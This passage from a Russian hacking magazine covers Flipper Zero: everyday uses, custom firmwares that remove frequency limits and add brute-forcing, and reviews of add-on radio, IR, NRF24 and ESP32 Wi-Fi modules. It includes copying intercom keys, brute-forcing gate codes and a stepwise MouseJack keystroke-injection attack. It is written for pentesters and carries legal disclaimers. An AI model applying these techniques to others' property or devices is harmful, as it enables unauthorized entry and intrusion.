запасного пульта от телевизора, ресивера, ТВ-приставки (увы, не слишком
удобно из-за особенностей управления «Флиппером») и проектора.
Кстати, это огромная дыра в безопасности мероприятий. Я не раз выс-
тупал в больших залах с проектором, подвешенным под потолком и управля-
емым только с ИК-пульта. Не хотелось бы во время выступления нарваться
на шутника с «Флиппером»!
Если ты когда-нибудь работал в офисе, наверняка сталкивался с проб-
лемой пульта от кондиционера. Пульт обычно один на весь офис и либо лежит
у ответственного за его оборону сотрудника, либо постоянно теряется.
К счастью, «Флиппер» позволяет решить этот вопрос раз и навсегда, причем
универсальный пульт от кондиционера уже входит в дефолтную прошивку.
Беглый ресерч показал, что с кондиционерами все несколько сложнее,
чем, например, с телевизорами. Их пульты передают сразу все параметры
при нажатии любой кнопки, а некоторые еще получают обратную связь. Одна-
ко это совершенно не мешает управлять кондиционером с «Флиппера», хоть
и в немного нештатном режиме.
Если сигналов твоего кондиционера не было в универсальном приложе-
нии, то можешь, как и я, записать сигнал с пульта. Как вариант, такие записи
можно найти и скачать. По моему опыту, оба способа отлично работают: файл
для телевизора я скачал, а пульт от кондиционера малоизвестной марки
пришлось копировать.

IBUTTON

Самый первый раз я попытался воспользоваться «Флиппером» прямо


по дороге с почты, на которой его забрал, — чтобы скопировать ключ
домофона. В моем домофоне используется контактная таблетка iButton
(работает по протоколу 1-Wire) производства Dallas Semiconductor. Ключ ско-
пировался моментально, но, к моему огромному сожалению, как я ни тыкал
«Флиппером» в домофон, дверь так и не открылась.
Поначалу я грешил на конструкцию корпуса и размещение пого-пинов
(подпружиненных контактов). Чтобы проверить эту версию, я подключился
к домофону проводами, благо контакты iButton продублированы в верхней
части «Флиппера» (GPIO 8 и 17).

Проверяем контакт

На этот раз домофон сразу открылся. Оказалось, что такая проблема часто
возникает у новых пользователей. Чтобы с первого раза открывать такие
домофоны, требуется выработать некоторый скилл одновременного попада-
ния пого-пинами по обоим контактам.
Можно не только эмулировать ключ, но и воспользоваться функцией
копирования. Я купил себе одну пустую болванку в ближайшей палатке, где
изготавливают ключи. Flipper отлично справился с копированием на нее всех
попадавшихся мне ключей.
В общем, в итоге минус еще один ключ и потенциальная возможность
накопировать ключи всем желающим. Болванки для таких ключей тоже легко
найти на маркетплейсах — ищи по ключевому слову rw1990. Стоят они при-
мерно столько же, сколько и RFID-ключи.

U2F

U2F (Universal 2nd Factor) — открытый бездрайверный протокол для двух-


факторной аутентификации. U2F-устройство можно использовать как второй
фактор, например для аутентификации в онлайновых сервисах.
Как только я обнаружил, что «Флиппер» может служить U2F-ключом/
токеном, сразу же решил настроить его для двухфакторной аутентификации
одного из своих почтовых ящиков. Я уже давно хотел сделать что-то такое,
но отпугивала необходимость покупать и носить с собой лишнюю флешку.
Регистрация «Флиппера» в качестве токена на «Маке» прошла без проб-
лем и с первого же раза. Главное — не забывать переключать в браузере
двухфакторную аутентификацию со стандартной на физический ключ.
Теперь при новом входе в веб-интерфейс почты после ввода логина
и пароля появляется запрос на двухфакторную аутентификацию. В способе
входа выбираем «Ключ безопасности». Для успешного логина нужно подклю-
чить «Флиппер» к компьютеру по USB, выбрать в меню пункт U2F и подтвер-
дить логин нажатием средней кнопки на «Флиппере».
Так у меня появилась еще одна причина всегда иметь при себе «Флип-
пер».

BLUETOOTH

«Флиппер» использует Bluetooth LE для подключения к смартфону, но этот же


интерфейс можно использовать и в более интересных целях. Например, под-
ключать как контроллер для компьютеров и телефонов.
«Флиппер» может работать как мышка или клавиатура. Не слишком удоб-
но, но в некоторых случаях пригодится. Например, можно использовать его
как кликер для презентаций. Для этого в его приложении есть пункт Keynote.
Я нахожу эту функцию крайне полезной: у «Флиппера» удобные форма
и размеры, он всегда с собой, да и просто круто выступать в руках с «Флип-
пером». Публике нравится!
Что касается управления смартфоном, то и тут у меня нашелся отличный
юзкейс. При съемке фото или видео со штатива я обычно использовал копе-
ечный китайский пультик, который после подключения по Bluetooth выполнял
единственное действие — имитировал нажатие физической кнопки гром-
кости, которая на iPhone привязана к спуску затвора.
«Флиппер» с этой задачей отлично справляется, но, если попробовать
сделать то же самое из некоторых приложений (например, попытаться
записать reel в Instagram), запись не начнется. Чтобы решить эту проблему,
можно включить на iPhone функцию AssistiveTouch и, используя «Флиппер»
в режиме мышки, нажимать кнопку записи (или любую другую кнопку на экра-
не).
Также «Флиппер» отлично работает в качестве пульта — например когда
стримишь музыку с ноутбука на беспроводную колонку.

ÂÛÂÎÄÛ

Писать про «Флиппер» — это примерно как писать про смартфон или компь-
ютер. Это полноценная открытая программно-аппаратная платформа со сво-
ими особенностями, операционной системой и прочим. У нее масса воз-
можностей и применений, для каждого пользователя набор любимых фич
будет другим.
Я всегда ношу с собой «Флиппер» и использую его каждый день. Он изба-
вил меня от необходимости иметь при себе громоздкие пульты и лишние
ключи. Часто использую его как ИК-пульт для телевизора, кондиционера
и проектора, как Bluetooth-пульт или кликер для компьютера и телефона и как
ключ U2F.
Так что, даже если ты ничего не мастеришь и не взламываешь, «Флиппер»
вполне может пригодиться в обычной жизни. Если же ты увлекаешься схе-
мотехникой и прочим DIY или тебе нужен универсальный и компактный инс-
трумент для физических пентестов, то ты, скорее всего, оценишь «Флиппер»
еще выше.
Кастомные прошивки со снятым ограничением на частоты и функциями
брутфорса делают «Флиппер» гораздо более серьезным девайсом, а допол-
нительные аппаратные модули (например, внешние адаптеры Wi-Fi) и сторон-
ние программы и плагины значительно расширяют возможности.
Не мог я не оценить и усилия, которые разработчики прилагают к поддер-
жке проекта. Постоянно выходят обновления с новыми функциями и заплатка-
ми. К примеру, с последним обновлением (0.82.3) за счет функции глубокого
сна длительность работы батареи увеличилась в четыре (!) раза.
Кстати, даже на предрелизных версиях прошивки «Флиппер» работает
стабильно. За все время использования он успел зависнуть или внезапно
ребутнуться всего несколько раз.
Вокруг устройства уже сформировалось активное международное сооб-
щество. С любым вопросом о работе с «Флиппером» можно прийти на офи-
циальный форум или сабреддит и найти ответ, попросить помощи или как
минимум обсудить интересующую тему.
Главный же вывод для меня заключается в том, что «Флиппер» — не прос-
то хайповая игрушка для гиков и не только отличное устройство для изучения
беспроводных атак, но и очень полезный в хозяйстве девайс, который
находит применение в самых разных случаях.
COVERSTORY

ВЫБИРАЕМ АПГРЕЙД
ДЛЯ ТВОЕГО «ФЛИППЕРА»

0neSeven W0lFreaK
hanz0ctf@gmail.com Независимый исследователь
веба https://t.me/pain_test
wolfreak449@gmail.com

Flipper Zero — «хакерский мультитул», о котором ты уже


наверняка наслышан. Возможно, даже успел раздобыть
устройство и самостоятельно поразвлекаться с ним. В этой
статье мы поговорим о прошивках, которые не только поз-
волят вывести баловство на новый уровень, но и помогут
использовать Flipper при реальных физических пентестах.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

Стандартная прошивка очень сильно ограничивает потенциал Flipper Zero,


в том числе не дает перехватывать и анализировать сигналы определенных
частот (например, сигналы автомобильной сигнализации), не позволяет про-
водить брутфорс-атаки на протоколы, требующие передачи определенных
значений, а также имеет мало записанных встроенных сигналов, пригодных
для атак на популярные системы.
Однако архитектура устройства открыта, а значит, ты можешь поставить
свою прошивку, что расширяет горизонты для экспериментов. С начала про-
даж устройства появилось множество прошивок, созданных сторонними раз-
работчиками и сообществом. У каждой — свои ключевые возможности и пре-
имущества. Давай посмотрим на них поближе!

Читай другие публикации «Хакера» о Flipper Zero:


«Что я успел натворить за месяц с Flipper Zero»
и «В гостях у Дани. Павел Жовнер о проблемах
разработки, новом маркетплейсе и следующем
Flipper».

FLIPPER ZERO FIRMWARE

Flipper Zero Firmware — это стандартная прошивка, с которой Flipper Zero при-
езжает к тебе с завода. В ней есть множество инструментов, однако
со встроенными ограничениями, которые не позволяют полностью раскрыть
весь технический потенциал девайса.

Стандартный главный экран

Прошивка будет полезна тем, кто только приобрел Flipper Zero и хочет озна-
комиться с его базовыми возможностями для минимального ежедневного
использования. Например, можешь клонировать в него все свои пропуска
и пульты дистанционного управления, чтобы не носить их каждый день
с собой.

Профиль нашего дельфина

Вот четыре раздела стандартной прошивки, которые будут больше всего


отличаться в кастомных версиях.
• Sub-GHz — этот раздел позволяет выполнять перехват, запись и эму-
ляцию радиосигналов. В стандартной прошивке этот инструмент огра-
ничен в возможностях. Например, при попытке перехватить радиосигнал
автомобильного ключа Flipper определит этот сигнал, но не даст записать
его в память и тем более повторить. Это намеренное ограничение, ведь
в плохих руках эта игрушка может стать опасной.

Инструмент перехвата радиочастот — Sub-GHz

• Infrared — инфракрасный сигнал. Позволяет повелевать бытовой тех-


никой. В стандартной прошивке дает возможность управлять четырьмя
типами техники: телевизорами, аудиопроигрывателями, проекторами
и кондиционерами.
• BadUSB — позволяет эмулировать проводную клавиатуру при подклю-
чении «Флиппера» к ПК. Содержит два демосценария, при запуске
которых на подключенном ПК открывается блокнот и выводится лого
«Флиппера» в виде ASCII-арта.
• Applications — раздел содержит дополнительные инструменты,
не попавшие ни в один из предыдущих разделов. Этот пункт в официаль-
ной прошивке интересен лишь одним — здесь можно поиграть в змейку.

Интерфейс работы с iButton

UNLEASHED

Unleashed — первый форк официальной прошивки, позволяющий снять реги-


ональные ограничения с Flipper Zero, а также добавить новые инструменты.
В репозитории она представлена в двух видах: базовом и расширенном, име-
ющем огромное количество предустановленных приложений.

Экран приветствия Unleashed

Unleashed отлично подойдет тем, кому мало базовых функций Flipper Zero.
К примеру, с помощью этой прошивки ты можешь не только перехватывать,
записывать и повторять сигналы, но и производить брутфорс-атаки на сис-
темы.
Здесь доступны инструменты, позволяющие в автоматизированном
режиме перебрать все возможные коды доступа для открытия шлагбаума
и гарантированно его открыть без перехвата исходного сигнала (тогда
как официальная прошивка дает лишь записать существующий сигнал и эму-
лировать его в дальнейшем).
Также в разделе Sub-GHz сняты все региональные ограничения
на используемые частоты сигналов. А это значит, что с помощью Unleashed
можно перехватить и эмулировать абсолютно любой сигнал, доступный хар-
дварной части Flipper Zero.

Sub-GHz — добавлено отображение сведений о текущем сканировании

Кроме прочего, в разделе Applications этой прошивки — множество приложе-


ний на все случаи жизни: от конвертера физических величин и генератора
штрих-кодов до среды разработки на Brainfuck и демейка Doom.
Кстати, если тебе не нравится имя «Флиппера», с которым он приехал
с завода, то Unleashed, как и все другие неофициальные прошивки из этой
статьи, поможет решить эту проблему.

Изменение имени

В остальных разделах тоже множество небольших изменений. К примеру,


добавлена поддержка классических ключей Mifare, функция захвата и отправ-
ки динамических шифрованных протоколов и скользящих кодов.
В общем, с прошивкой Unleashed твой «Флиппер» уже вполне потянет
на инструмент пентестера. Постарайся не злоупотреблять его возможнос-
тями и помни про незаконность некоторых действий!

XTREME

Xtreme — это, пожалуй, золотая середина между стандартной прошивкой


и форком RogueMaster. По сути, это полностью переработанная официальная
прошивка, но с функциями, позаимствованными из RogueMaster, и намного
стабильнее его.

Кастомный профиль нашего дельфина

Главное уникальное нововведение — максимальная кастомизация воз-


можностей BadUSB/KB. Еще можно добавить новые уровни для нашего
«Флиппера» (помнишь, что это еще и тамагочи?), корректировать режимы
USB/BT для работы с BadUSB и управлять протоколами Sub-GHz. Как и
Unleashed, прошивка позволяет снять все региональные ограничения, про-
водить брутфорс-атаки и обладает не только всеми ее преимуществами, но и
некоторыми новыми функциями.

Возможность полной кастомизации состояния дельфина

Функция BadKB позволяет эмулировать клавиатуру и таким образом про-


водить HID-атаки. Можно взять за основу готовый скрипт, который выводит
приветствие «Флиппера» через блокнот на любой ОС: Windows, macOS, iOS,
Android и так далее. Поддерживается язык Ducky Script Language 1.0. Если
поищешь на GitHub, найдешь более 500 готовых пейлоадов на нем.
У BadKB есть два режима работы — классический (по проводу)
и Bluetooth, второй можно настроить так, чтобы «Флиппер» запоминал
устройства. При повторной атаке он будет подключаться к жертве сам. Есть
возможность изменять раскладки клавиатуры и даже MAC-адрес BT-модуля
твоего кибердельфина.

Настройки BadKB

Инструмент Sub-GHz

Это прошивка для продвинутых пользователей, которые хорошо понимают,


зачем им Flipper и зачем все эти новые функции. И конечно, она хорошо
подойдет во время физических пентестов и при комплексном редтиминге.

ROGUEMASTER

RogueMaster — форк прошивки Unleashed, который во многом схож с ори-


гиналом, но отличается кастомным набором анимаций. Часть из них можно
приобрести, оплатив подписку на Patreon автора RogueMaster.

Главный экран прошивки

Кастомный профиль дельфина

Новые функции — те же, что в прошивке Xtreme, разве что параметры


для BadUSB слегка урезаны (нет настроек Bluetooth, как у Xtreme). К тому же
прошивка менее стабильна, чем другие рассмотренные нами. Больше всего
крашей при наших тестах было именно с ней.
Однако раздел Application здесь — это просто огромный список утилит.
Тут можно найти различные фаззеры для iButton, брутфорсер RFID и Sub-
GHz, режим CLI. Впрочем, с командной строкой рекомендую быть поаккурат-
нее — из десяти сделанных мной попыток три привели к падению системы.

Инструмент перехвата радиочастот Sub-GHz

Интерфейс работы с iButton

В целом поддержка приложений в формате FAP скоро должна появиться


в основной прошивке Flipper, так что RogueMaster останется скорее для жела-
ющих самостоятельно поупражняться в дебаге и изучении исходных кодов.
Или можешь поставить ее, если тебе очень-очень хочется изменить «пас-
порт» твоего Flipper Zero, сменив не только аватарку, но и задний фон.

Xtr
Ñòàí- Unlea Rogue
em
äàðò shed Master
e

Отключены региональные огра-


– + + +
ничения

Настройка интерфейса – – + +

Дополнительные модули - + + +

Стабильность работы + + + –

Актуальность обновлений – +/– + +

Doom – + + +

ÂÛÂÎÄÛ

После нескольких месяцев тестирования и ежедневного использования


Flipper Zero с нестандартными прошивками можем дать тебе некоторые
рекомендации по выбору. В первую очередь определись, как ты будешь
использовать устройство, и если действительно планируешь проводить прод-
винутые атаки (в исключительно безобидных целях или по контракту на тес-
тирование), то выбирай прошивку с нужными возможностями. Если такой
необходимости нет, то нет смысла снижать стабильность работы устройства.
Самый верный путь для начала знакомства с опциональными возможнос-
тями Flipper Zero — поставить расширенную версию Unleashed или официаль-
ную прошивку с актуальными для себя инструментами и модулями (которых
немало уже и в официальном репозитории Flipper Zero).
Если увлекаешься кастомизацией, твой выбор — Xtreme или RogueMaster,
а если тебе важны стабильность и продвинутые возможности — Unleashed
или Xtreme. Мы остановили свой выбор на этих двух наиболее стабильных
и практичных системах. За все время тестирования и использования они
не сбоили и не зависали, как это было с RogueMaster. Их функций более чем
достаточно, а возможность менять настройки прошивки через меню
Xtreme — дополнительный плюс.
COVERSTORY

ЧТО МОГУТ ВНЕШНИЕ


МОДУЛИ ДЛЯ FLIPPER ZERO

Flipper Zero называют хакерским муль-


титулом, а хакеры — это люди, которые
любят во всем покопаться сами. Разработ-
чики об этом прекрасно знали и приложили
к «Флипперу» его полные схемы, исходный Польский Кот
brutsky@glc.ru
код прошивки и приложений и весь необ-
ходимый инструментарий. Сообщество
это оценило и стало создавать не только
программы, но и кастомные модули
для Flipper Zero. О них и поговорим сегод-
ня.

«Хакер» уже неоднократно писал о Flipper Zero:


о его создании читай в статье «В гостях у Дани.
Павел Жовнер о проблемах разработки, новом
маркетплейсе и следующем Flipper», об альтер-
нативных прошивках, которые тебе пригодятся
при работе с кастомными модулями, — в статье
«Альтернативные прошивки Flipper Zero. Выбира-
ем апгрейд для твоего Flipper», об опыте боевого
применения — в материале «Боевой дельфин. Что
я успел натворить за месяц с Flipper Zero».

На одном только Tindie сейчас доступно 85 разных модулей для нашего


кибердельфина, и их число постоянно растет. Кроме Tindie, многие русско-
говорящие авторы торгуют в профильных чатах через Telegram и Discord.
В целом число доступных модулей достигает примерно сотни.
Я приобрел несколько модулей, показавшихся мне интересными, —
в основном производства Rabbit Labs — и делюсь результатами их тес-
тирования.

Некоторые из этих модулей будут в сегодняшнем обзоре

Кроме того, некоторые модули можно сделать самостоятельно. Три таких я


тоже покажу в статье.
Почти все модули в сегодняшнем обзоре работают, только если на твоем
Flipper Zero установлена неофициальная прошивка. Я рекомендую Unleashed,
как самую проработанную и стабильную, но сгодится и XFW, и даже
RogueMaster (с которым связываться категорически не советуют вообще ни в
каких целях). Если модуль работает на официальной прошивке — об этом
будет написано дополнительно.

Прежде чем мы начнем, хочу предостеречь


от вредительства и откровенной уголовщины.
Если за игры с телевизорами в ТЦ тебе, скорее
всего, вообще ничего не будет, то перехват чужих
данных и заражение вредоносными программами
однозначно подпадают под соответствующие
статьи УК твоей страны. Вся информация предос-
тавлена исключительно в образовательных целях
для профессиональных исследователей безопас-
ности, которые будут применять ее при тес-
тировании на проникновение с договором и раз-
решением заказчика. Соблюдай законы!

ÇÂÅÇÄÀ ÑÌÅÐÒÈ

Ãäå êóïèòü: Tindie (28 долларов)


Портативная «Звезда смерти» пусть и не позволяет уничтожать целые пла-
неты с помощью «Флиппера», но довольно эффективно захватывает контроль
над базами повстанцев разнообразным оборудованием с ИК-управлением.

Вид спереди, ГОСТ 2.305—2008

Для работы модуля нужно включить 5 В на GPIO-гребенке в настройках (GPIO


→ 5V on GPIO → ON) и отладочный режим (Settings → System → Debug →
ON). На последней версии Unleashed отладочный режим включать уже стало
не обязательно.

Модули для Flipper Zero могут работать от разных напряжений. Большинство


работают от 3,3 В, но для подключения такого модуля придется задейство-
вать широкую гребенку (на картинке — в нижней части), потому что только
в ней есть соответствующий выход.

Модули под напряжение 5 В можно целиком подключить в короткую гребенку


(на картинке сверху), что позволяет делать их более компактными
при использовании встроенного понижающего стабилизатора
с 5 на 3,3 В (если модулю нужно 3,3 В), а еще это позволяет запитывать
модуль от значительно менее шумного источника питания, чем встроенная
линия +3,3 В «Флиппера». Поэтому варианты модулей на 5 В предпочтитель-
ней, и по возможности я буду рассматривать именно их, хотя для работы
с ними почти всегда нужно включать пятивольтовый выход вручную
перед каждым использованием.

После проделанных манипуляций светодиод на передней стороне сообщит


о готовности к выстрелу. Можно открывать любой пульт и пользоваться
как обычно. Но имей в виду, что сами ИК-диоды расположены на спине
модуля, то есть для наведения на принимающее устройство (телевизор, про-
ектор или кондиционер, к примеру) нужно направлять Flipper Zero задней сто-
роной в направлении приемника, что не очень удобно. Решение в целом
не слишком удобное, потому что без надежного и жесткого крепления
к самому «Флипперу» очень легко задеть что-нибудь торчащим из корпуса
модулем и отломать его.
Еще одна проблема, которая преследует почти все внешние ИК-модули,
заключается в том, что если достать модуль и вставить обратно, то 5 В на
внешней гребенке пропадают и нужно выйти из режима пульта, включить 5 В в
настройках и заново пролезть через четырехуровневый выбор нужного пуль-
та. Поскольку недоработка аппаратная, исправить ее программным путем
практически невозможно. Защита отключает модуль 5 В из-за слишком боль-
шой емкости конденсаторов в цепи питания, при зарядке которых резко воз-
растает ток, и «Флиппер» считает, что подключенное устройство неисправно.
Для тестирования я выбрался в далекое от цивилизации место, поставил
в поле проектор и пошел проверять дальность. Стабильное управление ока-
залось возможно на расстоянии 35 м (или 43 шага по моему измерению).
Еще удалось получить вот такой модуль в корпусе и с линзой.

Корпус максимально простой и отпечатан на 3D-принтере FDM, но держится


нормально и нареканий не вызывает. Я его разобрал и обнаружил, что
модуль внутри стоит точно такой же, даже Звезда смерти на месте.

Купить корпус можно отдельно на Etsy (80 зло-


тых).

А вот результаты тестирования разочаровали. Я надеялся, что линза поможет


фокусировать излучение и модуль будет добивать дальше, но его дальность
составила всего 35 шагов (около 28 м), что почти на 20% меньше. Зато
попасть по приемнику с ней оказалось куда проще: видимо, линза рас-
сеивающая, а не собирающая. Впрочем, в сентябре 2023 года должна выйти
новая версия модуля с регулируемой линзой, которая все же поможет
фокусировать луч для увеличения дальнобойности.
Модуль в корпусе оставляет еще и меньше места для чехла, так что если
твой дельфин одет, то модуль со своим корпусом может не подойти. Но это
лишь мое предположение, потому что у меня чехла нет.
У обеих версий модуля заявлена защита от неправильной полярности, так
что я рискнул одним из них и попробовал вставить неправильной стороной
(правильная — это когда луч смерти бьет тебе прямо в глаз). Ничего не сго-
рело, а модуль, когда я его переставил правильно, продолжил работать
как ни в чем не бывало. При этом никакой индикации неправильного подклю-
чения на модуле нет, из-за чего можно сначала подумать, что он неисправен.

ÈÊ-ÁËÀÑÒÅÐ

Ãäå êóïèòü: Tindie (43 доллара)

По промокоду FAB7E18D ты получишь скид-


ку 10% на большинство товаров в магазине
TehRabbitt. Код действует до 15 октября и может
быть использован только один раз на человека.
Ограничений на сумму заказа нет.

Это еще один ИК-модуль того же разработчика, что и предыдущие. Отличает-


ся он формой, мощностью и возможностью отключить индикаторный све-
тодиод.

Из-за углового расположения контактов этот модуль можно воткнуть


во «Флиппер» и использовать, направляя вперед «головой», а не «спиной».
Индикаторный светодиод, который из «Звезды смерти» светил прямо в глаз,
как бы угрожая сжечь, теперь светит в другую сторону, а переключатель поз-
воляет вообще его отключить, чтобы не мешал.
Случайно задеть и отломать этот модуль тоже значительно сложнее, чем
предыдущие: он прочно сидит в гнездах GPIO и никуда не выпирает, да и
при использовании его можно держать куда удобнее и безопаснее.
Что касается дальности, то тут она составила уже внушительные 52 шага,
то есть около 42 м. Это на 33% больше, чем у модуля с линзой, или на 17%
больше, чем у его варианта без линзы.
Кстати, при тестировании в помещении я выяснил интересную под-
робность: на расстоянии метров до двадцати вообще нет разницы, в какую
сторону направлены диоды модуля. Все прекрасно работало, даже если сто-
ять спиной к проектору и светить в противоположную сторону. Подозреваю,
что это может быть как-то связано с белыми стенами зала, в котором я был,
но впечатление о модуле осталось исключительно положительное.

NRF24

Ãäå êóïèòü: Tindie (45 долларов), AliExpress (70 рублей — основа


для самодельного варианта)
Это один из немногих модулей, которые можно сделать самому, а еще он
работает с официальной прошивкой.

Нужен этот модуль для того, чтобы атаковать уязвимые беспроводные кла-
виатуры и мыши, использующие NRF24 для передачи данных. Модуль поз-
воляет при должном везении запустить по воздуху на целевой машине скрипт
BadUSB, что превращает Flipper в мощное оружие, пусть и с множеством
ограничений.

Список уязвимых устройств можно найти на том


же сайте, где и была впервые описана эта атака.
Демонстрацию смотри на YouTube.

Чтобы провести атаку, нужно найти канал, где проживает уязвимое устрой-
ство, с помощью приложения Scanner (все приложения для этой атаки
находятся в каталоге Apps → GPIO). Затем запоминаем адрес устройства,
открываем приложение Mouse Jacker, выбираем скрипт BadUSB, который
хотим выполнить, и запускаем код. Полную демонстрацию атаки можно пос-
мотреть на YouTube.

Скриншот из видео автора атаки

Атака возможна потому, что уязвимые устройства не шифруют и не под-


писывают пакеты, а приемный свисток, который подключается к компьютеру,
слепо эмулирует команды клавиатуры, даже если он шел с мышью. То есть
вся безопасность такой системы строится на том, что никто не должен знать
адрес уязвимого устройства, хотя тот легко находится сниффером
с помощью модуля за полдоллара.

Самодельный вариант

Если не хочется покупать готовый модуль, а руки чешутся, можно собрать


временную конструкцию из проводов и китайского варианта с «АлиЭкспрес-
са». Работать будет примерно так же, но потребует значительно больше мес-
та, и поделка будет питаться от куда более шумной линии 3,3 В, тогда как в
покупном есть свой стабилизатор.
Самодельный модуль в ходе всех этих экспериментов я в конце концов
спалил, перепутав полярность питания. Имей в виду мой опыт и будь осто-
рожен: голые модули не имеют защиты от переполюсовки. Впрочем, у покуп-
ного тоже никаких защитных диодов я не нашел, поэтому тестировать в таком
режиме я его не стал. Должен же у меня остаться хоть один рабочий модуль.

ÌÎÄÓËÜ-ÏÅÐÅÕÎÄÍÈÊ

Ãäå êóïèòü: Tindie (21 äîëëàð)


Сама по себе плата никакой полезной нагрузки не несет. Это почти что
пассивный переходник для подключения других модулей, который позволяет
быстро извлекать их. Также он обеспечивает дополнительные 3,3 В на
маленькую гребенку справа и позволяет не уничтожать встроенные контакты
внутри Flipper Zero. Я это считаю полезным, потому что подключать разные
присадки мне приходится весьма часто. Но учти, что у меня нет чехла
для «Флиппера», а с чехлом этот модуль совершенно не совместим.

Кроме обычных пятивольтовых модулей, можно подключать и китайские вро-


де CC1101. И конечно, попиново совпадающий с ним NRF24 тоже прекрасно
работает с таким переходником.

NRF24, подключенный через переходник

Если хочется максимально сэкономить и иметь не только CC1101, но и NRF24,


то это отличный вариант. Суммарно вместе с переходником все они обойдут-
ся где-то в 30 долларов, что дешевле самого простого модуля
CC1101 в отдельном исполнении. Но это без учета стоимости доставок,
с которой, скорее всего, выгода будет уже не столь очевидна.

ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ

Ãäå êóïèòü: Tindie (40 долларов) / прямой заказ в РФ (2000 рублей)

По промокоду XAKEP5 ты получишь скидку 5%


на заказ модуля через Tindie. Код действителен
до 31 октября и может быть использован только
один раз на человека.

Внешний радиомодуль CC1101 делает то же самое, что и аналогичный чип


внутри самого Flipper Zero, но делает это куда лучше. За счет расположения
снаружи, внешней антенны, большего усиления и менее шумного питания
дальность приема сигнала удалось увеличить с 12 м до пример-
но 65 с антенной-коротышкой, как на фотографии.

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

ЧТО МОГУТ ВНЕШНИЕ МОДУЛИ ДЛЯ FLIPPER


ZERO

Этот модуль полноценно поддерживается даже официальной прошивкой.


Однако с таким радио можно гораздо больше сделать в Unleashed и его фор-
ках — там поддержку реализуют сами авторы модулей и новые функции появ-
ляются быстрее и работают лучше.
Нужен этот модуль еще и для того, чтобы подключать внешние антенны
(сам Flipper Zero такой возможности лишен). С этим и был связан один
из моих тестов: если со штатной антенной дальность приема не дотягивала
даже до 70 м, то с дипольной антенной из Китая получилось принять сигнал
с расстояния в 350 м! Такого результата удалось добиться даже не совсем
в прямой видимости (между передатчиком и приемником постоянно ездили
машины) прямо в центре Варшавы, где полно разнообразных помех.

Тестировал все радиомодули я вот на таком пульте от подсветки компь-


ютера

Для использования достаточно подключить модуль к Flipper Zero, зайти


в меню SubGHz → Radio Settings и установить пункт Module в External. Теперь
при наличии подключенного внешнего модуля во всех приложениях будет
работать именно внешний, а при его отсутствии — внутренний. При этом
вручную ничего настраивать уже не нужно. Магия!

Модуль оптимизирован для работы на частоте 433 МГц, и его не стоит


использовать для сильно более высоких частот. Говорят, с родной антенной
внешний модуль хорошо работает на 315 и 443 МГц, а на 868 МГц его
эффективность даже хуже, чем у «Флиппера» без внешнего модуля вообще.
Справедливости ради, иначе как на 315 или 443 МГц я никогда ничего и не
ловил.
Само собой, есть и вариант «для бедных» с подключением китайского
модуля проводками и использованием линии +3,3 В.

Схема подключения

И еще один вариант — подключить такой же китайский модуль в переходник,


который я упоминал выше. Останавливаться на этом варианте мы не будем.

ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ ÍÀ 900 ÌÃÖ

Ãäå êóïèòü: Tindie (22 доллара)


Главная проблема предыдущего модуля заключается в том, что он соз-
давался с прицелом на работу на частоте 443 МГц и близких (например,
315 МГц). Но что, если нужно работать в верхней части поддерживаемого
СС1101 диапазона? Частоты 868 и 915 МГц, где проживает немалое количес-
тво устройств, «Флиппером» почти не покрыты, и такой модуль призван
исправить эту проблему. Обвязка чипа и строение платы специально опти-
мизированы на работу на высоких частотах и позволяют снизить шум
и повысить эффективность. Сам чип вообще уместился под металлическим
экраном, который защищает его от наводок.

Фотография взята со страницы товара

Дополнительно модуль снабжен разъемом SMA для подключения более мощ-


ной антенны на случай, если она вдруг тебе понадобится.
Модуль попиново совместим с другими реализациями CC1101, что поз-
воляет использовать его с адаптерами других производителей или просто
запихнуть в модуль-переходник, что я и сделал.

В темноте такая конструкция красиво светится!

Конечно, я не мог его не потестировать. Дальность со все тем же пультом


из прошлого теста и антенной на 433 МГц от того же модуля (антенны
на 900 МГц у меня нет, да и устройств в этом диапазоне тоже, но у модуля
заявлена поддержка 443 МГц, так что ее мы и проверим) составила пример-
но 57 м, а с дипольной антенной — уже внушительные 170 м. Видимо, отли-
чие в два раза по сравнению с модулем, предназначенным для 443 МГц, дей-
ствительно связано с неоптимальной обвязкой именно для этого диапазона.

Мне удалось поговорить с TehRabbitt — автором части модулей из сегод-


няшнего обзора. Среди прочего он анонсировал прокачанную версию ради-
омодуля на 443 МГц, новый вариант ИК-бластера, несколько вариантов Wi-Fi-
плат на базе ESP32 (о том, как сделать свою такую здесь и сейчас, я расскажу
ниже), адаптер для использования Flipper Zero как моста для RS232 и проект
беспроводной эмуляции разнообразных USB-устройств (как он будет
работать — загадка даже для меня). А еще TehRabbitt выдал мне промокод,
приведенный во врезке выше. Кстати, если статья понравится читателям, я
постараюсь раздобыть больше модулей и выпустить еще одну часть. Следи
за новостями!

ESP32 MARAUDER

Это очень классный модуль, который позволяет проводить атаки на Wi-Fi. Его
особенность в том, что в готовом к использованию виде он встречается очень
редко, а чтобы его заполучить, нужно повозиться с прошивкой, разобраться
с настройками и посмотреть несколько обучающих видео.

Официальный Wi-Fi DevBoard

Купить подходящую плату можно прямо в официальном магазине Flipper Zero,


где она стоит 29 долларов, но экономные любители извращений могут поис-
кать у себя платы ESP32-WROOM (в среднем 4 доллара) или им подобные
и сделать аналог на коленке. Я так и поступил.

Платы ESP32 из Китая имеют разъем MicroUSB,


отыскать подходящий провод для которого я смог
далеко не сразу. Как бы смешно это ни звучало,
но простое отсутствие кабеля задержало эту
статью на несколько дней.

Так выглядит ESP32-WROOM

Само собой, и на официальный модуль Wi-Fi, и на покупные (с того же Tindie),


и тем более на самодельные модули нужно установить подходящую прошив-
ку. Раньше ее нужно было компилировать для своей платы, что отсекало
большую часть желающих поиграться. Теперь же появился скрипт
FZEasyMarauderFlash, который автоматически скачает и прошьет подходящий
бинарник на твою плату. Разве что автоматически определять подключенную
плату он не умеет — придется ему подсказать.
Допустим, у тебя такой же модуль ESP32-WROOM, что и у меня, а работать
ты будешь в Windows. В таком случае тебе потребуется скачать драйвер
для чипов CP210x, которые выполняют роль моста USB — UART для прошивки
ESP32. Также тебе понадобится Git for Windows, который будет использовать-
ся для скачивания бинарников прошивки во время работы установщика,
и Python с pip.
